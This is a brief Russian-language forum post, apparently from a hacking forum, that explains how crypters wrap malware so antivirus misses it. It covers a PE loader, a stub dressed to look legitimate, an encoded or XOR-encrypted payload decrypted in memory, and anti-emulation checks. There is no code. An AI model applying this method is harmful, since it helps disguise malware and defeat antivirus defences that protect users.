Файлы к статье:Криптуют примерно так. Сначала пишется РЕ лоадер , т.е. загрузчик исполняемого файла в память. Чтобы его написать, нужно знать худо бедно РЕ формат , либо откуда-то скопипастить (гугл LoadPE). Далее, пишется какой-нибудь стаб криптора, обычную прогу с последней студии, которая будет максимально похожа на легитимную (манифест, иконки, норм. импорт). Малварка (которую криптуют) перегоняется в хекс/бейс64/еще как нибудь шифруется, хоть тройным ксором. Можно в коде где-то сделать массив байт, можно загонять часть данных в ресурсы, да много как можно. Далее, криптор выделяет память, расшифровывает там малвару , и передает управление РЕ лоадеру (который настроит импорты, релоки, и собственно запустит файл).
В самом крипторе нужна какая-то антиэмуляция, чтобы авер не раскрутил полезную нагрузку сразу. Ну и т.д.
Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.
Автор: Octavian